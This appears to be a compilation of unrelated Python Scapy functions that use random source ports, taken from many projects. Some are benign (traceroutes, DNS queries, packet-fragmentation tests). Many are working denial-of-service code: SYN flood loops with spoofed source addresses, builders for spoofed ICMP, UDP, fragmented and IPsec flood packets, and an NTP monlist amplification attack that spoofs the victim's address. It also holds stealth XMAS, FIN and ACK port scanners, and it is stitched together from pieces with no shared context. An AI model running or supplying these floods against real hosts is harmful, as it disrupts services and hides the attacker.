def ICMPTraceroute(self, host): if host not in self.hosts: self.hosts.append(host) d = defer.Deferred() reactor.callLater(self.timeout, d.callback, self) self.sendPackets( IP(dst=host, ttl=(self.ttl_min, self.ttl_max), id=RandShort()) / ICMP(id=RandShort())) return d
def build_icmp_packet(destination_ip): """Generate ICMP ECHO request with spoofed source IP address. Argument: destination_ip -- the IP address of the target """ return IP(src=RandIP(), dst=destination_ip, id=RandShort(), ttl=packet_builder.generate_ttl()) / ICMP( id=RandShort()) / packet_builder.generate_payload()
def UDPTraceroute(self, host): if host not in self.hosts: self.hosts.append(host) d = defer.Deferred() reactor.callLater(self.timeout, d.callback, self) for dst_port in self.dst_ports: self.sendPackets( IP(dst=host, ttl=(self.ttl_min, self.ttl_max), id=RandShort()) / UDP(dport=dst_port, sport=RandShort())) return d
def main(): # getting the ip address to send attack packets dstIP = sys.argv[1:] print dstIP # open interface eth0 to send packets interface = popen('ifconfig | awk \'/eth0/ {print $1}\'').read() print(repr(interface)) for i in xrange(1000): # form the packet packets = Ether() / IP(dst=dstIP, src=sourceIPgen()) / TCP( dport=int(RandShort()), sport=int(RandShort()), flags="S") print(repr(packets)) # send packet with the defined interval (seconds) sendp(packets, iface=interface.rstrip(), inter=0.05)
def build_fragmented_icmp_packet(destination_ip): """Generate fragmented ICMP packet with spoofed source IP address. Argument: destination_ip -- the IP address of the target """ return fragment( IP(src=RandIP(), dst=destination_ip, id=RandShort(), ttl=packet_builder.generate_ttl()) / ICMP(id=RandShort()) / packet_builder.generate_payload(min_count=1500, max_count=65500), fragsize=packet_builder.generate_fragsize())
def build_udp_packet(destination_ip, destination_port): """Generate UDP packet with random source port and spoofed source IP address. Arguments: destination_ip -- the IP address of the target destination_port -- the targets port to which the packet will be sent """ return IP(src=RandIP(), dst=destination_ip, id=RandShort(), ttl=packet_builder.generate_ttl()) / UDP( sport=RandShort(), dport=destination_port) / packet_builder.generate_payload()
def build_fragemneted_udp_packet(destination_ip, destination_port): """Generate fragmented UDP packet with random source port and spoofed source IP address. Arguments: destination_ip -- the IP address of the target destination_port -- the targets port to which the packet will be sent """ return fragment( IP(src=RandIP(), dst=destination_ip, id=RandShort(), ttl=packet_builder.generate_ttl()) / UDP(sport=RandShort(), dport=destination_port) / packet_builder.generate_payload(min_count=1500, max_count=65500), fragsize=packet_builder.generate_fragsize())
def start(self, verbose: bool = False): """ Creates TCP packets with URG, FIN, and PSH and sends them to scan the target """ print("[*] Starting XMAS port scan") ip = IP(dst=self.target_ipv4) tcp = TCP(sport=RandShort(), dport=self.target_ports, flags="FPU") ans, unans = sr(ip / tcp, verbose=verbose, timeout=10) print("[*] XMAS scan complete") for s in unans: self.open_filtered_ports.append(s[TCP].dport) for s, r in ans: if (r.haslayer(TCP)): # Following nmap convention (both RST, RST/ACK) if (r[TCP].flags & 0x16 in [0x4, 0x14]): self.closed_ports.append(s[TCP].dport) elif (r.haslayer(ICMP) and r[ICMP].type == 3 and r[ICMP].code in [1, 2, 3, 9, 10, 13]): self.filtered_ports.append(s[TCP].dport) if (verbose == True): XmasScanner.print_closed_ports(self) XmasScanner.print_filtered_ports(self) XmasScanner.print_open_filtered_ports(self)
def scan(ip, ports, timeout=timeout, verbose=False): """Do SYN scan on a specific ip and port Arguments: ip {str} -- ip address port {int} -- port number Keyword Arguments: timeout {number} -- how much time to wait after the last packet has been sent (default: {3}) """ # show_info(f"Scan {ip} {port}") global OPEN_PORTS sport = RandShort() ans, _ = sr(IP(dst=ip) / TCP(sport=sport, dport=ports, flags="S"), timeout=timeout, verbose=0) if verbose and ans: for port in [x[1][TCP].sport for x in ans]: show_discovery(port, ip) if ans: locker.acquire() OPEN_PORTS.extend([x[1][TCP].sport for x in ans]) locker.release() return True if ans else False
def flood(target): packet = IP(dst=target[0]) / TCP( dport=target[1], flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort() ) for i in range(4): try: send(packet, verbose=False) except Exception as e: print( f"{Fore.RED}[!] {Fore.MAGENTA}Error while sending 'ICMP'\n{Fore.MAGENTA}{e}{Fore.RESET}" ) else: print( f"{Fore.GREEN}[+] {Fore.YELLOW}ICMP packet send to {target[0]} {Fore.RESET}" )
async def comm_connect(): global COMM_HANDLE, MY_ADDR, MOD_IP while MOD_IP is None: shuffle(MOD_IP_LIST) for an_ip in MOD_IP_LIST: p = IP(dst = an_ip)/TCP(sport=RandShort(), dport=MOD_PORT, flags='S') resp = sr1(p, timeout=2, verbose=0) if resp is None: pass elif resp.haslayer(TCP): if resp.getlayer(TCP).flags == 0x12: MOD_IP = an_ip break elif resp.getlayer(TCP).flags == 0x14: pass try: COMM_HANDLE = await websockets.connect('ws://{}:{}/{}'.format(MOD_IP, MOD_PORT, MODULE)) MY_ADDR = COMM_HANDLE.local_address[0] print("[D] Connected to Master. My address is {}".format(MY_ADDR)) asyncio.ensure_future(recv_event()) except: COMM_HANDLE = None await asyncio.sleep(2) asyncio.ensure_future(comm_connect())
def cmd_tcp_isn(ip, port, count, iface, graph, verbose): """Create TCP connections and print the TCP initial sequence numbers for each one. \b $ sudo habu.tcp.isn -c 5 www.portantier.com 1962287220 1800895007 589617930 3393793979 469428558 Note: You can get a graphical representation (needs the matplotlib package) using the '-g' option to better understand the randomness. """ conf.verb = False if iface: iface = search_iface(iface) if iface: conf.iface = iface['name'] else: logging.error( 'Interface {} not found. Use habu.interfaces to show valid network interfaces' .format(iface)) return False isn_values = [] for _ in range(count): pkt = IP(dst=ip) / TCP(sport=RandShort(), dport=port, flags="S") ans = sr1(pkt, timeout=0.5) if ans: send( IP(dst=ip) / TCP(sport=pkt[TCP].sport, dport=port, ack=ans[TCP].seq + 1, flags='A')) isn_values.append(ans[TCP].seq) if verbose: ans.show2() if graph: try: import matplotlib.pyplot as plt except ImportError: print("To graph support, install matplotlib") return 1 plt.plot(range(len(isn_values)), isn_values, 'ro') plt.show() else: for v in isn_values: print(v) return True
def detectWAF(url,port,lang): import logging noWAF = _("\nWeb Application Firewall nao detectado") thereIsWAF = _("\nWeb Application Firewall detectado") logging.getLogger("scapy.runtime").setLevel(logging.ERROR) parsed = urlparse(url) if len(parsed.netloc) == 0: parsed = urlparse('http://'+url) pass dst_ip = socket.gethostbyname(parsed.netloc) src_port = RandShort() # A TCP packet with the ACK flag (16) set and the port number to connect to is send to the server. ack_flag_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=port,flags="A"),timeout=10, verbose=0) # if (str(type(ack_flag_scan_resp))=="<type 'NoneType'>"): return _('Resposta: ') + "<No_Response_to_TCP_ACK>" + buildResponse(True, thereIsWAF,_('\n')) # If the server responds with the RST flag set inside a TCP packet, then the port is unfiltered and a stateful firewall is absent. elif(ack_flag_scan_resp.haslayer(TCP)): if(ack_flag_scan_resp.getlayer(TCP).flags == 0x4): # RST flag = 4 return _('Resposta: ') + "<RST_flag_SET>" + buildResponse(False, _('\n'),noWAF) # RST flag # If the server doesnt respond to our TCK ACK scan packet or if it responds with a TCP packet with ICMP type 3 or code 1, 2, 3, 9, 10, or 13 set, # then the port is filtered and a stateful firewall is present. elif(ack_flag_scan_resp.haslayer(ICMP)): if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): return _('Resposta: ') + "<ICMP_type_3_TCP_Packet>" + buildResponse(True, thereIsWAF,_('\n'))
def inquery(qname, qtype, nameserver, rd=1, timeout=2, retry=2): if not isinstance(nameserver, list): nameserver = [nameserver] s = socket.socket(type=socket.SOCK_DGRAM) s.settimeout(timeout) dnsq = DNS(id=RandShort(), rd=rd, qd=DNSQR(qname=qname, qtype=qtype)) sendit = True id = 0 for ns in nameserver: for r in range(0, retry + 1): try: if sendit: p = str(dnsq) id = unpack('!H', p[0:2])[0] s.sendto(p, 0, (ns, 53)) dnsr = DNS(s.recvfrom(4096)[0]) if id != dnsr.id: sendit = False continue return dnsr except socket.timeout: sendit = True continue except socket.error: sendit = True continue return None
def tcp_handshake(dst_host, dst_port, interface, custom_tcp_opts, timeout): # Use the default interface if none is provided if interface == None: interface = conf.iface # We can use a fixed ISN seqn = 0 ip = IP(version=0x4, id=0x00fb, dst=dst_host) src_port = int(RandShort()._fix() / 2 + 2**15) syn = ip / TCP(dport=dst_port, sport=src_port, flags='S', seq=seqn, ack=0, options=custom_tcp_opts) syn_ack = sr1(syn, timeout=timeout, iface=interface) if syn_ack == None or TCP not in syn_ack or 'R' in syn_ack[TCP].flags: return None seqn += 1 ackn = syn_ack[TCP].seq + 1 ack = ip / TCP( dport=dst_port, sport=src_port, flags='A', seq=seqn, ack=ackn) send(ack, iface=interface) return syn_ack
def _extra_udp_port(self, ip_input: str, port: str, gw_mac: str): self.init_port() if '-' in port: port = self.port_handle(port) port = tuple(port) for i in range(port[0], port[1] + 1): self.ip_port.append(ip_input + ':' + str(i) + ':udp') else: port = self.port_handle(port) self.ip_port.append(ip_input + ':' + str(port[0]) + ':udp') ans, un_an = srp(Ether(src=self._mac, dst=gw_mac) / IP(dst=ip_input) / UDP(sport=int(RandShort()), dport=port), inter=0.1, timeout=2, iface=self._iface, verbose=0) for s, r in ans: if r.haslayer(ICMP): self.ip_port.pop( self.ip_port.index(ip_input + ':' + str(r["UDP in ICMP"].dport) + ':udp')) """ elif r[ICMP].type == 3 and r[ICMP].code in [1, 2, 3, 9, 10, 13]: port_no_list.append(r[ICMP].dport) """ self.port_scan_status.emit()
def start(self, verbose: bool = False): """ Scans the ports and stores the results in a list; If verbose flag is passed, the output is printed as well. """ print("[*] Starting ACK port scan") ip = IP(dst=self.target_ipv4) tcp = TCP(sport=RandShort(), dport=self.target_ports, flags="A") ans, unans = sr(ip / tcp, verbose=verbose, timeout=10) print("[*] ACK port scan complete") for s, r in ans: if (r.haslayer(TCP)): if (s[TCP].dport == r[TCP].sport): self.unfiltered_ports.append(s[TCP].dport) elif (r.haslayer(ICMP) and r[ICMP].type == 3 and r[ICMP].code in [1, 2, 3, 9, 10, 13]): self.filtered_ports.append(s[TCP].dport) for s in unans: self.filtered_ports.append(s[TCP].dport) if (verbose == True): AckScanner.print_unfiltered_ports(self) AckScanner.print_filtered_ports(self)
def start(self, verbose: bool = False): """ Scans the ports and stores the results in a list; If verbose flag is passed, the output is printed as well. """ print("[*] Starting FIN port scan") ip = IP(dst=self.target_ipv4) tcp = TCP(sport=RandShort(), dport=self.target_ports, flags="F") ans, unans = sr(ip / tcp, verbose=verbose, timeout=10) print("[*] FIN port scan complete") for s in unans: self.open_filtered_ports.append(s[TCP].dport) for s, r in ans: if (r.haslayer(TCP)): # Following nmap convention (both RST, RST/ACK) if (r[TCP].flags & 0x16 in [0x4, 0x14]): self.closed_ports.append(s[TCP].dport) elif (r.haslayer(ICMP) and r[ICMP].type == 3 and r[ICMP].code in [1, 2, 3, 9, 10, 13]): self.filtered_ports.append(s[TCP].dport) if (verbose == True): FinScanner.print_closed_ports(self) FinScanner.print_filtered_ports(self) FinScanner.print_open_filtered_ports(self)
def spider_send(self, source, job, conn_timeout, tcp=False): """ Send packet to nameserver and return response and source port. """ data = self.pack() if ':' in job['dip']: inet = socket.AF_INET6 else: inet = socket.AF_INET if tcp: if len(data) > 65535: raise ValueError("Packet length too long: %d" % len(data)) data = struct.pack("!H", len(data)) + data sock = socket.socket(inet, socket.SOCK_STREAM) if ':' in job['dip']: sock.bind((source[1], 0)) else: sock.bind((source[0], 0)) sock.settimeout(conn_timeout) sock.connect((job['dip'], job['dp'])) sock.sendall(data) sp = sock.getsockname()[1] response = None try: response = sock.recv(8192) length = struct.unpack("!H", bytes(response[:2]))[0] while len(response) - 2 < length: response += sock.recv(8192) except socket.timeout: pass if response is not None and len(response) > 2: try: response = response[2:] PSDNSRecord().parse(response) except DNSError: response = None sock.close() else: sp = RandShort() sock = socket.socket(inet, socket.SOCK_DGRAM) if ':' in job['dip']: sock.bind((source[1], sp)) else: sock.bind((source[0], sp)) sp = sock.getsockname()[1] sock.settimeout(conn_timeout) sock.sendto(self.pack(), (job['dip'], job['dp'])) response = None try: response, server = sock.recvfrom(8192) except socket.timeout: pass if response is not None: try: PSDNSRecord().parse(response) except DNSError: response = None sock.close() return (response, sp)
def flood(target): packet = IP(dst=target[0]) / TCP(dport=target[1], flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort()) for i in range(4): try: send(packet, verbose=False) except Exception as e: print( f"[{red}][!] [{pink}]Error while sending 'ICMP'\n{e}[/{red}]") else: print( f"[{green}][+] [{yellow}]ICMP packet send to {target[0]} [/{green}]" )
def build_syn_packet(destination_ip, destination_port): """Generate TCP packet with SYN flag and spoofed source IP address. Arguments: destionation_ip -- the IP address of the target destination_port -- the targets port to which the packet will be sent """ return IP(src=RandIP(), dst=destination_ip, id=RandShort(), ttl=packet_builder.generate_ttl())/TCP(sport=RandShort(), dport=destination_port, ack=RandShort(), window=RandShort(), flags="S")
def flood(target): packet = IP(dst=target[0]) / TCP(dport=target[1], flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort()) for i in range(4): try: send(packet, verbose=False) except Exception as e: print( f"{Fore.RED}[!] {Fore.MAGENTA}ошибка в методе ICMP\n{Fore.MAGENTA}{e}{Fore.RESET}" ) else: print( f"{Fore.GREEN}[+] {Fore.YELLOW}ICMP пакет не отпрвлен {target[0]} {Fore.RESET}" )
def processTestVector(self, test_vector): payload_length = test_vector['payload_length'] print("Relay vector " + str(self.vector) + " at time " + str(time.time() // 1)) self.vector += 1 print("Relay says payload_length: %r" % test_vector['payload_length']) payload = bytearray(payload_length) for index in range(0, payload_length): try: name = 'msg.payload[' + str(index) + ']' byte = int(test_vector[name]) payload[index] = byte except KeyError: # print("Relay says out of range payload index: " + str(index)) pass opcode = bytearray(OPCODE_LENGTH) try: opcode[0] = (int(test_vector['msg.opcode']) >> 8) % 256 opcode[1] = int(test_vector['msg.opcode']) % 256 print("Relay says opcode: " + str(test_vector['msg.opcode']) + " (" + str(opcode) + ")") except KeyError: print("Relay says could not find msg opcode key") except: print("Unexpected error:", sys.exc_info()[0]) raise if opcode[1] in INITIAL_REQUESTS: print("Start new session with opcode %d" % opcode[1]) self.local_port = RandShort()._fix() self.local_filter = "dst port " + str(self.local_port) pkt = IP(dst=self.target_ip) / \ UDP(sport=self.local_port, dport=TFTP_PORT) / \ (bytes(opcode) + bytes(payload)) rx_pkt = sr1(pkt, filter=self.local_filter, timeout=1, verbose=False) if rx_pkt: self.stream_active = True self.remote_port = rx_pkt[0].sport elif self.stream_active and opcode[1] in DATA_FLOW: print("Session data with opcode %d" % opcode[1]) pkt = IP(dst=self.target_ip) / \ UDP(sport=self.local_port, dport=self.remote_port) / \ (bytes(opcode) + bytes(payload)) sr1(pkt, filter=self.local_filter, timeout=1, verbose=False) else: self.stream_active = False print("Opcode %d out of order" % opcode[1])
def replay(): packet = IP(dst="127.0.0.1", chksum=0) / UDP( dport=1812, sport=RandShort(), chksum=0) for payload in extract_payload(product_path): packet[UDP].payload = payload del packet[IP].chksum del packet[UDP].chksum packet.show2() send(packet, iface="lo0") time.sleep(1)
def ping(dst, payload, seq=1, ttl=64, timeout=5): """Makes 1 ICMP echo request to dst. @returns: the response in an object that accepts method show(), None on timeout """ pkt = IP(dst=dst, ttl=ttl) / ICMP(seq=seq, id=RandShort()) / payload pkt = sr1(pkt, timeout=timeout) return pkt
def generate_ip4_frags(self, payload_length, fragment_size): p_ether = Ether(src=self.pg1.remote_mac, dst=self.pg1.local_mac) p_payload = UDP(sport=1234, dport=1234) / self.payload(payload_length) p_ip4 = IP(src="1.2.3.4", dst=self.pg0.remote_ip4) outer_ip4 = (p_ether / IP( src=self.pg1.remote_ip4, id=RandShort(), dst=self.pg0.local_ip4) / p_ip4 / p_payload) frags = fragment(outer_ip4, fragment_size) p4_reply = (p_ip4 / p_payload) p4_reply.ttl -= 1 return frags, p4_reply
def forge(self, job, seq): sport = 0 while sport < 1024: sport = int(RandShort()) l4 = (TCP(sport=sport, dport=job['dp'])) if ':' in job['dip']: ip = IPv6(src=self.source[1], dst=job['dip']) else: ip = IP(src=self.source[0], dst=job['dip']) if seq == 1: ip.flags = 'evil' return ip / l4
def tread_def(target_ip, target_port, count_packet_tread, sleeptime, maximum_size, minimum_size): #global sended for _ in range(count_packet_tread): sleep(sleeptime) fake_ip = RandIP() s_eq = randint(1000, 9000) w_indow = randint(1100, 9000) ip = IP(src=fake_ip, dst=target_ip) tcp = TCP(sport=RandShort(), dport=target_port, flags="S", seq=s_eq, window=w_indow) size = Raw(b"M" * randint(minimum_size,maximum_size)) packet = ip / tcp / size send(packet , verbose=False)
def start(self): "Sends spoofed REQ_MON_GETLIST_1 NTP packets to the target NTP servers" # Create the NTP request ip = IP(src=self.target_ipv4, dst=self.ntp_ipv4s) udp = UDP(sport=RandShort(), dport=123) ntp = NTPPrivate(mode=7, implementation="XNTPD", request_code="REQ_MON_GETLIST_1") # Continuously send the NTP requests to the target NTP servers #send(ip/udp/ntp, verbose=False, loop=True) send(ip / udp / ntp, verbose=False)
def build_ipsec_packet(destination_ip, destination_port): """Generate encrypted packet with spoofed source IP address. Arguments: destination_ip -- the IP address of the target destination_port -- the targets port to which the packet will be sent """ sa = SecurityAssociation(ESP, spi=0, crypt_algo='Blowfish', crypt_key=b'16byteskey', auth_algo='NULL', auth_key=None) return sa.encrypt( IP(src=RandIP(), dst=destination_ip, id=RandShort(), ttl=packet_builder.generate_ttl()) / TCP(sport=RandShort(), dport=destination_port) / packet_builder.generate_payload())